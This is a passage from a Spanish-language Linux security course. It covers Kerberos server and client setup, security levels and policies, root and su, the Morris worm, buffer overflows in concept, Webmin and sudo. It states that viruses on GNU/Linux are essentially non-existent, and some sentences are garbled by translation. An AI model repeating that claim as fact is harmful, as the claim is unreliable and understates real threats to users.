El KDC verifica el principal en su base de datos. Si lo encuentra, el KDC crea un TGT, lo encripta usando las claves del usuario y lo devuelve al usuario. El programa login o kinit desencripta el TGP usando las claves del usuario. El TGT, que caduca después de cierto período de tiempo, es almacenado en su caché de credenciales. Este sólo se puede usar por cierto período de tiempo que suele ser de (8) ocho horas (a diferencia de una contraseña cuando es comprometida, esta se podrá usar hasta que el usuario la cambie). El usuario no tiene que introducir su contraseña otra vez en el momento que el TGT caduca o se desconecta y vuelve a conectarse.

Cuando el usuario necesita acceder a un servicio de red, el cliente usa el TGT para pedir un ticket para el servicio de Ticket Granting Service (TGS), que se ejecuta en el KDC. El TGS emite un ticket por el servicio deseado, que se usa para autentificar el usuario.

Kerberos depende de ciertos servicios de la red para trabajar correctamente. Primero, Kerberos necesita una sincronización de reloj entre los computadores y su red. Si no ha configurado un programa de sincronización de reloj para su red, deberá hacerlo. Ya que ciertos aspectos de kerberos se apoyan en el Domain Name System (DNS), debe de asegurarse de que las entradas DNS y los hosts en su red están configuradas correctamente. Vea la Guía del administrador kerberos V5, proporcionada en formatos PostScript y HTML, en /usr/share/doc/krb5server-<número-de-versión>/, si necesita más información sobre estos temas.

Kerberos y Pluggable Authentication Modules (PAM)

En la actualidad, los servicios Kerberizados no hacen uso de un servidor PAM, un servidor kerberizado omite PAM completamente. Las aplicaciones que usan PAM pueden hacer uso de Kerberos para comprobar las contraseñas si el módulo pam_krb5pam_krb5 (proporciona un número-de-versión que permiten servicios como login y gdm para autentificar usuarios y obtener credenciales iniciales usando sus contraseñas. Si el acceso a servicios de red siempre se realiza mediante servicios kerberizados (o servicios que usan GSS-API, como IMAP), la red puede ser considerada razonablemente segura.

Los administradores de sistemas cuidadosos no añaden verificación de contraseñas Kerberos a los servicios de la red, porque la mayoría de los protocolos usados por estos servicios no encriptan la contraseña antes de enviarla a través obviamente esto es algo a evitar, ya que contrarrestaría la razón original de kerberizar una red para que no envíe contraseñas sin primero encriptarlas.

Configuración de un Servidor Kerberos

Antes de configurar un servidor Kerberos, obviamente deberá instalarlo. Si necesita instalar servidores esclavos, consulte el Manual de instalación del Kerberos 5 (en el directorio /usr/share/doc/krb5-server-<número-de-versión>). Note que esta guía no es para ser completa, si va a implementar Kerberos debe buscar un HOWTO o un COMO en Internet actualizados y aquí colocamos esta breve guía para asunto de discusión solamente y no con garantía de que funcione.

Instalación de un servidor Kerberos:

1. Asegúrese de que tanto el Servidor de Tiempo que marca su reloj como el DNS funcionan correctamente en el servidor antes de instalar el Kerberos 5. Preste especial atención a la sincronización de la hora del servidor Kerberos y de sus diversos clientes. Si la sincronización de los relojes del servidor y de los clientes se diferencia en más de cinco minutos (la cantidad predeterminada es configurable en el Kerberos 5), los clientes de Kerberos no podrán autentificar el servidor. La sincronización de los relojes es necesaria para evitar que un intruso use el autenticador para hacerse pasar como un usuario autorizado.
2. Configure el protocolo cliente/servidor Network Time Protocol (NTP) de GNU/Linux, aunque no está usando Kerberos. Las mayoría de las distribuciones de GNU/Linux incluyen el paquete ntp para facilitar la instalación.
3. Instale los paquetes krb5-libs, krb5-server y krb5-workstation en la máquina en la vaya a ejecutar el KDC. Esta máquina tiene que ser segura, no podrá ejecutar otros servicios que no sean del KDC. Si desea utilizar la interfaz gráfica del usuario (GUI) para administrar Kerberos, tiene que instalar el paquete gnome-kerberos. Contiene krb5, una herramienta GUI para administrar tickets y gkadmin, una herramienta GUI para administrar los dominios de Kerberos (realms).
4. Modifique los archivos de configuración /etc/krb5.conf y /var/kerberos/krb5kdc/kdc.conf para reflejar el nombre de su dominio y el mapeo de los dominios en su red. Se puede crear un ámbito (realm) sustituyendo las instancias de EXAMPLE.COM y example.com con el nombre de su dominio siempre y cuando se respete el formato correcto de los nombres escritos en mayúscula y en minúsculas y se cambie el KDC del kerberos.example.com con el nombre de su servidor Kerberos. En general, los nombres de los realms están escritos en mayúscula y los nombres de las máquinas en el DNS y los nombres de los dominios van en minúscula. Para mayor información sobre los formatos de estos archivos, consulte las páginas man correspondientes.
5. Cree la base de datos usando el utilitario kdb5_util en el prompt del shell: /usr/kerberos/sbin/kdb5_util create -s . El comando create crea la base de datos que se usará para almacenar las claves del realm del Kerberos. La opción -s obliga la creación del archivo stash en el que se almacena la clave del servidor master. Si no existe este último archivo, el servidor Kerberos (krb5kdc) pedirá al usuario la contraseña del servidor maestro, que se puede usar para regenerar la clave, cada vez que se arranque.
6. Modifique el archivo /var/kerberos/krb5kdc/kadm5.acl. Este archivo lo usa el comando kadmind para determinar qué usuarios principales tienen acceso a la base de datos de BKerberos y cuál es el nivel de acceso. La mayor parte de las organizaciones pueden acceder con una sola línea: */admin@EXAMPLE.COM*.
    1. La mayor parte de los usuarios aparecen en la base de datos como usuarios principales (la instancia

NULL, aparece vacía, o contiene por ejemplo lo siguiente jennifer@EXAMPLE.COM). Con esta configuración los usuarios que tengan una segunda entrada como usuarios principales de admin (por ejemplo, jennifer/admin@EXAMPLE.COM) tendrán todo el acceso a la base de datos del realm de Kerberos.

2. Una vez que se ejecuta el comando kadmind en el servidor, todos los usuarios tienen acceso a los servicios de este servidor ejecutando los comandos kadmin o gkadmin en cualquiera de los clientes o servidores del realm. Sin embargo, solamente los usuarios que aparecen en la lista del archivo kadm5.acl podrán modificar la base de datos salvo sus contraseñas. Las utilidades kadmin y gkadmin se comunican con el servidor kadmind por la red y usan Kerberos para llevar a cabo la autentificación.
3. Tiene que ser usuario principal antes de conectarse al servidor con la red para poder administrarla. Puede crear esta primera entrada con el comando kadmin.local el cual se ha creado específicamente para usarlo en la misma máquina que el KDC y no usa Kerberos para la autenticación. Escriba el comando kadmin.local en una terminal KDC para crear la primera entrada como usuario principal: /usr/kerberos/sbin/kadmin.local -q "addprinc nombre-usuario/admin"

7. Arranque Kerberos usando los siguientes comandos:
    1. /sbin/service krb5kdc start
    2. /sbin/service kadmin start
    3. /sbin/service krb524 start
8. Añada entradas para otros usuarios con el comando addprinc y kadmin o usando Principal => y luego la opción Añadir en gkadmin. kadmin y kadmin.local en el KDC máster son una línea de comandos que permite conectarse al sistema de administración de Kerberos. Para ello, existen otros comandos disponibles una vez que se ha lanzado el programa kadmin. Consulte las páginas man de kadmin para mayor información.
9. Verifique que el servidor crea tickets. Primero, ejecute kinit para obtener un ticket y almacénelo en un archivo de credenciales caché. Después use el comando klist para visualizar la lista de credenciales en el caché y use el comando kdestroy para eliminar el caché y los credenciales que contenga. Normalmente, kinit intenta autenticar el usuario usando el nombre de conexión de la cuenta que usó cuando se conectó al sistema (no la servidor Kerberos). Si ese nombre no corresponde al nombre de entrada principal, verá un mensaje que le indicará que hay un error. Si ocurre esto. simplemente, de al comando kinit el nombre de la entrada principal como argumento en la línea de comandos (kinit principal). Si ha seguido estos pasos, el servidor Kerberos funcionará correctamente. Lo siguiente que tiene que hacer es configurar los clientes de Kerberos.

Configuración de un cliente de Kerberos

La configuración de un cliente de Kerberos 5 client no es tan complicada como la del servidor. Lo que tiene que hacer es instalar los paquetes del cliente en un archivo de configuración krb5.conf válido. Las versiones kerberizadas de rsh y rlogin requerirán algunos cambios en su configuraciones.

1. Asegúrese que la sincronización sea correcta entre el cliente de Kerberos y el KDC. Además, el DNS tiene que funcionar correctamente antes de instalar los programas del cliente Kerberos .
2. Instale los paquetes krb5-libs y krb5-workstation en todos los clientes del realm. Tiene que dar la versión del /etc/krb5.conf para las estaciones de trabajo clientes; normalmente es el mismo krb5.conf que usa el KDC.
3. Antes de que una estación de trabajo del realm permita a los usuarios conectarse usando los comandos kerberizados rsh y rlogin, la estación de trabajo tendrá que tener instalado el paquete xinetd y tener su

propio nombre del host en la base de datos de Kerberos. Los programas del servidor kshd y klogind también necesitan el acceso a las claves de la entrada principal del servicio.

1. Usando el comando kadmin, añada entradas para la estación de trabajo. La instancia en este caso será el nombre del host de la estación de trabajo. Seguramente no tendrá que teclear la contraseña para esta entrada y seguramente no querrá perder el tiempo buscando una nueva. Use la opción -randkey y el comando del kadmin addprinc para crear una entrada principal y asignarla a una clave cualquiera: **addprinc -randkey host/nombre.example.com**
2. Ahora que ya ha creado la entrada principal, puede extraer las claves para la estación de trabajo ejecutando kadmin en la estación de trabajo y usando el comando ktadd en kadmin:
   ktadd -k /etc/krb5.keytab host/nombre.example.com
3. Para poder usar las versiones kerberizadas de los comandos rsh y rlogin, tiene que habilitar klogin, eklogin y kshell.

4. Se tienen que arrancar otros servicios de red kerberizados. Par usar el comando kerberizado telnet, habilite krb5-telnet. Para el acceso FTP, cree y extraiga la clave para la entrada principal con un root de ftp, con las instancias que tenga que configurar para el servidor FTP. Habilite el comando gssftp. El servidor IMAP incluye el paquete imap que usará la autenticación GSS-API del Kerberos 5 si encuentra la clave adecuada en /etc/krb5.keytab. El root para la entrada principal tiene que ser imap. El servidorg CVS usa una entrada principal con un root del cvs y es idéntica a pserver.

Esto es todo lo que necesita para crear un simple realm de Kerberos.

RESUMEN

En este capitulo, cubrimos los diferentes mecanismos para la identificación y autenticación de usuarios. Algunas de esos temas fueron:

• Identificación y autenticación es lo fundamental para un acceso seguro.
• La seguridad efectiva confía en el mecanismo de autenticación que usted eligió y en una política de seguridad solida.
• Sin el conocimiento de los usuarios, un Cracker no necesita encontrar una debilidad técnica pero puede ganar acceso comprometiendo un método autorizado, quizás usando ingeniería social.
• Dos factores de autenticación consolida el aseguramiento de que la identidad de un usuario es la correcta.
• Kerberos y las contraseñas de una sola vez (OTP) son dos técnicas que aumentan la seguridad del sistema de autenticación.
• Los Módulos de Autenticación Conectables (PAM) permiten que un software llame a una rutina determinada sin la reimplementación de código de autenticación en cada parte del software que requiere autenticación.
• Muchos Sistemas de Autenticación combinan técnicas de encriptación con estrategias adicionales para verificar la identidad, pero ninguna solución esta a prueba contra ser objeto de ser comprometida.
• Autenticaciones y encriptaciones fuertes son los componentes claves de una estructura de información segura.

Preguntas Post-Examen

Las respuestas a estas preguntas están en el Apéndice A.

1. Defina Execution Control List (ECL)
2. ¿Qué tipo de autenticación son las Tarjetas Inteligentes un ejemplo?
3. ¿Qué es Kerberos?
4. Liste las clasificaciones de una autenticación
5. ¿Qué significa la frase Autenticación? Proporcione dos factores?
6. ¿Cuáles son las ventajas de usar Pluggable Authentication Modules (PAMs)?

CAPITULO

4

SEGURIDAD

DEL SISTEMA OPERATIVO GNU/LINUX

ASEGURAR EL AMBIENTE DEL USUARIO

OBJETIVOS:

Al completar este capítulo, usted podrá:

- Entorno común de vulnerabilidades de sistemas y describir las características de una amenaza, por ejemplo, Troyanos (Trojan Horse), gusanos, virus y crackers.
- Identificar las pautas para determinan los tres niveles generales de seguridad.
- Describir los cuatro programas usados para editar de forma segura los documentos sensibles, tales como /etc/passwd.
- Describir umask, autologout, mesg, passwd, mkpasswd y aquellos programas usados en la configuración de los ambientes de usuarios.
- Comparar vlock y xlock, describiendo sus principales diferencias.
- Describir las funciones de las Listas de Control de Acceso (ACL), permisos de usuarios/grupos, los programas SUID y describir la contribución de aquellos programas a la seguridad de las redes.
- Describir por que los scripts setuid no funcionan.
- Describir el uso de sudo desde el punto de vista del usuario.
- Describir sudo y la implementación del programa en un sitio de trabajo, y las características únicas de sudo.
- Listar las importancias de los módulos de Webmin, describir el proceso de instalación y configuración del programa.

Preguntas Pre-Examen

1. ¿Cómo podría el entrenamiento de un usuario final transformarse en una medida de seguridad efectiva?
2. ¿Qué es exactamente una política de seguridad?
3. ¿Cuáles son las tres clasificaciones del permiso de acceso a un archivo o directorio en GNU/Linux?
4. ¿Cuáles son los tres tipos básicos de permisos que deben de ser asignados en GNU/Linux?

INTRODUCCION

La seguridad de los host involucra asegurar los subsistemas que no se encuentran en la red en un sistema GNU/Linux. Los ID de los Usuarios (UIDs), contraseñas, y los permisos de archivos juegan un papel importante en asegurar los sistemas de los host.

UIDs y las contraseñas autentican a los usuarios que están solicitando acceso al sistema. El uso de ID y contraseñas es la base fundamental de la seguridad. Los estándares deben de ser implementados en como los usuarios deben de elegir una contraseña segura, y debe ser habilitado el envejecimiento de las contraseñas, de esta manera las contraseñas serán cambiadas frecuentemente.

El pensar de forma coherente es necesaria en cualquier organización para desarrollar una fuerte política de seguridad. Dichas políticas deben de explicar que medidas tomar si es detectado un ataque, así, un acceso ilegal puede ser enfrentado y los datos y las aplicaciones pueden ser protegidas.

Niveles de Seguridad y las Políticas

GNU/Linux provee un amplio rango de opciones de seguridad. Este te permite ajustar la seguridad a las necesidades de esa implementación particular. Como vallas progresando en este curso, veras las numerosas maneras de asegurar su sistema GNU/Linux. Examinaremos no solo el que, sino también el porque y cuando, de esta manera, puedes evaluar las necesidades de tu compañía para implementar las medidas de seguridad dadas. A pesar de todos los mecanismos técnicos usados para asegurar un sistema, las políticas deben definir la implementación y ser seguida por los usuarios.

Los siguientes temas serán discutidos en esta sección:

- Los niveles de seguridad
- Mecanismos de seguridad
- Manejo de la seguridad
- Políticas de seguridad

Niveles de Seguridad

Un amplio análisis de los mecanismos de seguridad, con la terminología de sistemas operativos neutrales, es algunas veces ventajoso cuando se esta trabajando en un entorno multi-plataforma o cuando se esta trabajando con modelos formales de seguridad. Aunque las implementaciones de seguridad te permiten tomar una decisión granular sobre seguridad en base a casos a través caso, para propósitos de discusión, tres extensas clasificaciones convencionales de niveles de seguridad son usadas en este curso. Esos niveles son Bajo, Medio y Alto. Algunas distribuciones tienen designaciones similares para la configuración del firewall de un host, a menudo accesible durante la instalación. El uso de estas designaciones arbitrarias permite al administrador agrupar los tipos de contra-medidas y protecciones tratada para aplicaciones cómodas.

Recuerde que las implementaciones específicas pueden variar significativamente entre las diferentes distribuciones y sus configuraciones. Por que estas designaciones son arbitrarias, considere algunas pautas para su configuración y uso. Las pautas pueden cambiar dependiendo de cuales sean la necesidad de la organización. Estas están resumidas en la siguiente tabla.

Nivel	Aplicabilidad	Implementación
Baja	• El computador está en una localidad segura. • El computador no contiene información de importancia.	• No es aplicado ningún sistema de seguridad. • Software antivirus es usado. • El computador es seguro en contra de robo.

Media	• El computador contiene o accesa muchas informaciones importantes y valiosas. • El computador esta en una situación de alto riesgo.	• El sistema operativo es desmantelado, ósea, se les deshabilitan la mayor parte de los servicios que este ofrece. • Estrictas contra-medidas adicionales y protecciones son habilitadas en el sistema operativo.
Alta	• EL computador contiene y accesa datos de la corporación. • El computador es accesado por más de un individuo. • Protección contra accidente como daños a los datos es requerido.	• La auditoria es habilitada. • Son usados permisos de archivos. • Son implementadas políticas de usuarios. • Contra-medidas y protección son habilitadas en el sistema operativo.

Mecanismos de Seguridad

Los mecanismos de seguridad son usados para implementar sistemas de seguridad. Existen dos formas de mecanismos: Específicos y Generales.

Mecanismos Específicos de Seguridad

Algunas técnicas pueden ser implementadas con seguridad en diferentes niveles (o capas) para proveer la seguridad. Varias tecnologías son:

- **Mecanismo de Cifrado.**- El cual encripta el dato moviendo entre los sistemas en una red (o entre dos procesos en un localhost).
- **Mecanismo de Firma Digital.**- Es como una encriptación pero con la ventaja de adherida de verificar que el emisor y el contenido son auténticos. Un tercer grupo verifica la transacción.
- **Mecanismo de Control de Acceso.**- El cual es una simple verificación que asegura que el emisor o el receptor esta autorizado para llevar a cabo una tarea o proceso. Por ejemplo, el acceso a las redes debe ser permitido para usuarios pre-calificados cuando están accesando remotamente.
- **Mecanismo de Integridad de Datos.**- El cual incluye técnicas para asegurar que cada pieza (ejemplo de las partes de una transacción que está siendo enviadas por la red) del dato esta secuenciada, numerada, y sellado a tiempo.
- **Mecanismos de Autenticación.**- Como un simple esquema de contraseña en el espacio del usuario. La autenticación puede ser usada por aplicaciones, también, requiriendo que cada acceso sea autenticado, reduciendo así la oportunidad para accesos globales si alguien desautorizado ganara acceso a este.
- **Mecanismo de Rellenado (Padding) de Trafico.**- El cual es adicionar a los paquetes que fluyen dentro y fuera de las redes para prevenir que husmeadores de red (Sniffing) se aprovechen de los conocimientos de los tamaño de los paquetes y tiendan a ganar acceso. * Para aclarar, cuando una nueva sección de ingreso al sistema es establecida, ciertos tamaños de paquetes conocidos son transmitidos y recibidos en el inicio de la sección. Los análisis de la cabecera puede alertar a esos observadores de red para capturar algunos de los siguientes paquetes (debido a su pequeño tamaño y la presencia de ciertos campos en las cabeceras). El Padding puede hacer que todos los paquetes parezcan del mismo tamaño, de esta manera uno puede evitar ser escogido para ser analizado.

Mecanismo de Seguridad General

Otros mecanismos no son limitados a ninguna capa o nivel especifica. Estas son:

- Funcionalidad Confiable establece que ciertos servicios o hosts son seguros en todos los aspectos y pueden ser confiables.
- Las etiquetas (Labels) de seguridad son aplicados para indicar el nivel de importancia del dato. Estos

son usados en adición a otras medidas. Por ejemplo, un archivo puede obtener un label adicional, además del privilegio de leer/escribir, que permite el acceso solo a aquellos que ingresan con niveles de cuentas que enlazan o exceden esa etiqueta.

- Las Auditorias de las rutas son usualmente empleadas a varios niveles y monitoreadas por salvedades para facilitar la detección de los intrusos y las violaciones de seguridad. Por ejemplo, una diaria verificación de los archivos log de los Sistemas Linux busca por configuración de textos que puedan apuntar e intentar acceder ciertas cuentas.
- Los rescates de seguridad son un conjunto de reglas que aplican cuando se esta trabajando con un evento de seguridad.

Manejo de la Seguridad

Para ayudar a directores se desarrolla una aproximación y una política, las diferentes áreas del manejo de la seguridad deben ser identificadas. Estas áreas son:

- Administración de los Sistemas de Seguridad, el cual direciona el entorno completo de un computador y su seguridad. En esta área, las políticas son definidas, los proveedores de servicios son consultados, y mecanismos específicos son escogidos. Este equipo o departamento debe también ser responsable del proceso de auditoria y recuperación y por todo otro trabajo de seguridad penetrante.
- La administración de los servicios del sistema involucra el proveedor actual de servicios de seguridad.

El sistema de Lista de Control de Acceso (ACL) contiene una lista de eventos que son auditadas por el objeto. Cuando el tipo de ACL no es especificado, esto es usualmente Discrecional ACL (DACL). En este curso, asumiremos que este es el caso para todo lo referido a ACLs.

Políticas de Seguridad

Los ataques a los sistemas son una eventualidad en cualquier sistema de red, particularmente en sistema que son conectados al Internet o sistemas que son dejados corriendo las 24 horas los 7 días de la semana (24/7). La seguridad absoluta no puede ser garantizada, de manera que las políticas específicas manejan esas situaciones como vallan sucediendo, de esta manera debe de ir siendo implementadas. Una brecha de seguridad dentro de una gran compañía puede afectar miles de usuarios. Que tan rápido el caos potencial puede ser resuelto dependiendo grandemente de la preparación y la coordinación de los analistas, administradores, entre otros. Los aspectos de seguridad también pueden tener medidas preventivas, tales como los estándares de las grandes compañías concernientes a la configuración segura y los métodos oportunos de conveniencia relacionada a la seguridad de la información.

motd y emisión de archivos

Este archivo esta ubicado en el directorio /etc y puede ser usado para alertar a los usuarios del sistema de los cambios en asuntos de seguridad y prepararlos para los cambios en el sistema. El archivo issue contiene el texto que aparece sobre el prompt del login. El archivo motd contiene el mensaje del día y será presentado a cada usuario cuando ellos inicien sesión en el sistema (login). Su configuración es simple; solo agrega el mensaje que desees en el archivo /etc/motd o /etc/issue. Este mecanismo será raramente utilizado en algunos ambientes de red, donde muchos usuarios están menos interesados en log in en una interfaz de línea de comando que acceder al sitio de Intranet de la compañía. En estos ambientes, la Intranet, los medios de impresión, o las secciones de concientización de los usuarios puede ser preferida como vía para propagar información a todos los usuarios.

Sistema de Seguridad de GNU/Linux

En GNU/Linux, una combinación de archivos de textos y de aplicaciones corriendo en memoria definen la configuración de la seguridad. Las principales características de la arquitectura de GNU/Linux es que el kernel

controla todo el acceso del software a los dispositivos físicos y cada servicio o demonio (daemon) gana acceso a los recursos a través del kernel, con los privilegios asignados por UID y ID de grupo (GID).

En la siguiente sección, se trataran los siguientes temas:

- La cuenta de root
- Administración Tradicional
- Virus
- Extensión del Buffer
- El comando su
- Webmin

La Cuenta de root

La cuenta de root (superusuario) es la cuenta de usuario privilegiada. Por razones de seguridad, un administrador suele raramente iniciar sección (log in) directamente como root. Por el contrario, el administrador suele iniciar sección como un usuario normal y luego su (cambiar de usuario) a la cuenta de root, de esta manera se minimiza el riesgo de inadvertidamente dañar el sistema. Más importante aun, nunca debe de utilizarse un método inseguro de log in como telnet para administrar un sistema. Si hay duda como que usuario se esta utilizando en el momento, el administrador puede escribir id , lo cual le retornara el ID efectivo del usuario (EUID). De manera parecida, el comando whoami retorna el nombre del usuario en uso.

La mayoría de las funciones de los administradores de sistemas llevan a cabo el uso de la cuenta de administrador. Root no tiene restricciones de acceso en todas las funciones del sistema. Algunas cuentas adicionales del sistema son usadas para administrar subsistemas. Utilice estas cuentas para asegurar que los permisos y propiedad del archivo son correctos para el subsistema. Pero siempre recuerde que root puede irrevocablemente dañar el sistema, tenga cuidado cuando trabaje como root.

En grandes sistemas, la administración debe ser hecha por muchas personas. Es imperativo que muchos administradores coordinen sus actividades. Es posible para una persona deshacer o corromper el trabajo hecho por otro.

A pesar de si las maquinas están en una área de acceso restringido (como el cuarto de computadoras), nunca mantenga la consola del sistema ingresado in como root. Algunos administradores deshabilitan el log in de root en otras terminales para prevenir múltiples usuarios de root trabajando en el mismo sistema. Esto debe ser una buena idea, pero en un evento poco probable la consola se cuelga, no habría manera de trabajar como root, así que es buena idea dejar al menos otra terminal con acceso limitado de permisos de root (sudo).

Administración Tradicional

El administrador de sistema tradicionalmente ha sido responsable por amplio rango de tareas de administración. Algunas de esas tareas incluyen, pero no son limitadas, lo siguiente:

- Agregar y Borrar usuarios
- Crear Backups del sistema
- Restituir archivos desde el Backup
- Monitorear las actividades del sistema
- Afinación del rendimiento del sistema

Estas actividades y como son implementadas varía arduamente dependiendo del sistema GNU/Linux y el entorno. Lo que es juzgado como extremadamente importante en un ambiente, como la actividad del monitoreo

del sistema y el afinamiento del interprete regular del sistema, no será algo tan importante en otro entorno.

Si las responsabilidades tradicionales de un administrador de sistema son rigurosamente seguidas, es más probable burlar una crisis. Los procesos de la administración de sistemas deben ser asignados basados el entorno y el sistema GNU/Linux, y luego es implementado como un proceso que es ejecutado rutinariamente. Un proceso de administración que incluyes tales ítemes como cambiar las contraseñas regularmente, la creación de backups, cerrar la sesión y limpiando la terminal que esta en pantalla, y probando cualquier sistema o cambios en el software profundamente antes de la implementación salvaguardara en contra de muchas violaciones que pueden ocurrir.

Virus

Lo mejor conocido como una prueba sistemática y ataque en un sistema UNiX ha sido bien documentado en varias fuentes y puede ser encontrado publicado en muchos sitios de Internet. El 2 de noviembre del 1988, Un programa escrito por Robert T. Morris Jr., graduado de la Universidad de Cornell en el Área de Ciencia Computacional, fue lanzado accidentalmente en Internet. Según Morris, el programa fue diseñado para demostrar que Internet, en ese tiempo, era vulnerable y contenía muchas brechas de seguridad.

El virus finalizo propagándose en aproximadamente 7,000 computadores, muchos de estos corrían el programa gusano. El gusano consumió el sistema, el CPU y los recursos de la memoria a tal punto de quedo reducido su funcionamiento considerablemente e incluso causo que muchos de estos quedaran sin funcionamiento. Ningún otro daño ocurrió; ningún archivo fue borrado o destruido, pero los administradores de sistemas tuvieron que dedicar algo de tiempo verificando que ningún otro problema se haya presentado. El escenario pudo haber sido mucho peor si el gusano hubiera tenido código que hiciera daño físico o hubiera corrido sin dedicar la suficiente atención al mismo.

En el mundo de y GNU/Linux de hoy y UNiX, los virus son no existente se puede afirmar. Aunque googleando puede encontrar informaciones de investigaciones e intentos por no mas de ahí. Quizás esto se debe a los niveles de seguridad del sistema mismo y el conocimiento de sus usuarios. Que se ejecute en múltiples arquitectura de hardware es otro factor, aunque existen virus en arquitecturas que GNU/Linux se ejecuta mayormente que es la Compatibles de Intel/AMD. Quizás la mayor razón de esto es que GNU/Linux es de código Libre y Abierto y esta sea la clave, por estas razones la creación de un virus es una tarea muy difícil. Para que un verdadero virus exista en UNiX, este debe ser capaz de reconocer cada versión de UNiX y la plataforma de hardware conocidas, o desarrollado desde enero del 1970. Cuando tales virus existan, estos estarán destinados a algunos pocos modelos de hardware (SPARC chip V9, VAX-11/780, o Intel Pentium) y algunos sabores peculiares de esos hardware (Fedora GNU/Linux, SunOS, BSD).

También, un virus debe de tener los privilegios de root para poder causar un gran daño en un sistema UNiX. En el nivel mas bajo, este puede dañar usuarios los cuales inadvertidamente lo ejecutan lo que significa que estará limitado a aquel usuario quien lo haya propagado.

Algunos pasos deben de ser tomados para proteger GNU/Linux y los sistemas UNiX de virus. Por ejemplo:

- Protección de escritura en los directorios de diferentes niveles.
- Verificar regularmente las modificaciones y checksum de los sistemas ejecutables.
- Instalar aplicaciones confiables en áreas especiales.
- Asegurar que los usuarios ejecuten solo aplicaciones conocidas y que estos accidentalmente no incluyan otros ejecutables desde los directorios de escritura globales (/tmp o /var/tmp).
- No instalar aplicaciones sin primero verificar que estas están libres de virus.

Desbordamiento del Buffer

Los desbordamientos del buffer son las fuentes de la mayoría de ataques a sistemas GNU/Linux. ¿Porqué los desbordamientos del Buffer? Como no hay una configuración central, como el RegEdit, y directa de atacar a GNU/Linux, Los Crackers se han enfocado en los desbordamientos de buffer de aplicaciones individuales. Las vulnerabilidades vienen con determinados errores de programación que son muy difíciles de evitar por los programadores, naturalmente, muchos programas contienen esos errores. Esto es causado cuando determinadas variables reciben más datos que lo que anticipo el programador o para lo que esta preparado el mismo. Si ocurre que esas variables son las responsables de almacenar entradas que alguien puede modificar, un atacador con habilidades pudiera introducir una condición de error, causando que los programas se cuelguen o que estos trabajen de una manera para lo que no fueron diseñados. Cuando un programa importante o un programa de muchas habilidades contiene uno de esos errores, esto seria eventualmente encontrado por alguien y usado como un enlace de ataque.

Los atacantes buscan por ciertos tipos de programas cuando están buscando por candidatos de desbordamientos de buffer. Los favoritos son aquellos que tienen privilegios UID. Los programas que tienen privilegios UID tienen acceso a los niveles de root pero solo usan estos privilegios para realizar algunas pequeñas tareas y nada más; sin embargo, el privilegio de hacer cualquier cosa esta ahí. Cuando un atacante puede inducir un desbordamiento del buffer dentro de un programa Setuid (establecidos como privilegios UID), el programa puede dañarse en una manera que deja una shell con root para el atacante. Otra posibilidad es la aceptación de un comportamiento errado del programa, como es originado por root.

Los problemas de sobrecarga han sido recientemente explotados en programas de servidores populares que se ejecutan como daemons (demonios) de red como son qpopper, named y wu-ftpd, el cual es un servidor FTP muy popular. El ejemplo mas grande se sobrecarga es crond, el cual es un programa local de inventario. también sendmail tiene una gran historia de sobrecarga de buffer, al igual que muchos otros.

Un método para ayudar a proteger en contra de la sobrecarga de los buffer, y de esta manera evitar que ganen acceso a root en la shell, es creando una cuenta de usuario nadie (nobody account). Asignando a nobody como propietario del servicio del sistema. Si el buffer es inundado, el atacante gana acceso al sistema como nobody, con los permisos de nobody, no como root.

El Comando su

El comando su es utilizado por los administradores de sistemas para transformarse temporalmente en otro usuario. Una nueva shell es invocada con el id del usuario y del grupo de un específico nombre de login y personalizar el ambiente como sis el nuevo usuario se hubiera ingresado normalmente. Sin la opción del (-) en su, muy pocos de los ambientes del shell serán usados en la nueva shell.

El comando su puede estar dando opciones para el programa de login. Para las mayorías de cuentas de usuarios, el programa de login es la shell, y la opción -c puede ser usada para especificar un comando a que se ejecute como otro usuario. Una vez el comando es ejecutado, su retornara al usuario original.

Muchos de los sistemas GNU/Linux modernos con características de seguridad pueden deshabilitar el comando su para que solo pueda ser usado por un par de usuarios básicos. Note que cuando se realiza el comando su root, la ruta será normalmente reajustado a la ruta por defecto de root. Por razones de seguridad, este por defecto no incluirá el directorio que esta siendo utilizado en el instante. Para evitar ser afectado por los programas Troyano, usted puede siempre ejecutar su, utilizando su ruta completa (/bin/su) cuando esta cambiando a la cuenta del usuario root.

El Webmin

En el mundo GNU/Linux y UNiX, es típico que cada aplicación tenga formatos diferentes en sus archivos de configuración. Todos son archivos de texto, pero el XML que lo constituye son diferentes, la sofisticación de esos archivos a veces puede ser abrumadora, especialmente cuando se aprende uno a la vez. Webmin puede ayudar permitiendo el manejo cercano de casi todos los servicios del sistema desde una interface de web.

¿Que es Webmin?

El Webmin consiste de un Servidor Web y scripts de CGI, todos elaborados en PERL. Este utiliza estos scripts para modificar los archivos del sistema usando una interfaz web. El Webmin puede ser utilizado en conjunto con SSL para hacer la conexión segura desde el navegador hasta el Servidor. Cada servicio controlado por Webmin tiene un modulo que contiene tanto la interface Web y el código para modificar los archivos de configuración. Casi cada buen servicio conocido tiene un modulo que le permite a este ser controlado por Webmin. Si no, no es tan difícil escribir un modulo. Webmin configurado con un estándar de 30 módulos para controlar los servicios mas comunes. Esto incluye todo desde usuarios y grupos del sistema hasta archivos compartidos por Samba y el sistema Webmin. Webmin puede significativamente reducir el tiempo que toma administrar una maquina de GNU/Linux.

Módulos Estándar

Webmin ofrece unos 100 módulos que pueden hacer la vida de un administrador un poco más fácil, aunque esta herramienta siempre ha esta plagada por problemas de vulnerabilidad esta sigue y seguirá siendo muy popular entre los administradores. Ver la documentación de Webmin para instrucciones mas especificas en el uso de cada módulo e ir al sitio web de webmin para ver una lista completa de todos los módulos que soporta y su descripción: http://www.webmin.com/standard.html

SUDO

A menudo es difícil saber quien es confiable, lo cual hace de la seguridad del sistema un tema importante. sudo ofrece un compromiso entre la confianza y la seguridad y es una herramienta vital en cualquier ambiente donde los deberes del administrador son compartidos entre varias personas. Ocasionalmente los administradores de sistemas necesitan permitir a los usuarios realizar alguna acción especifica con los permisos de root. Sin embargo, que un usuario cualquiera tenga conocimiento de la clave de root no esta dentro del buen uso de las normas de seguridad. La herramienta sudo le permite a los usuarios utilizar su propia contraseña (la contraseña que le fue asignada por el administrador de sistemas) para ejecutar comandos y acciones como root o cualquier otro usuario con la opción -u nombre.

Esta sección se explicará las pasos de agregar un usuario al archivo sudoers y realizar una acción como otro usuario.

Los siguientes temas serán discutidos en esta sección:

- ¿Qué es sudo?
- Configurando sudo
- Archivo Log
- Ejecutando sudo
- Riesgos de seguridad con sudo

¿Qué es SUDO?

El sudo es una herramienta administrativa que le permite al administrador del sistema extender y controlar las habilidades que incluyen el acceso a root de los usuarios normales. Este utilitario es utilizado mas a menudo

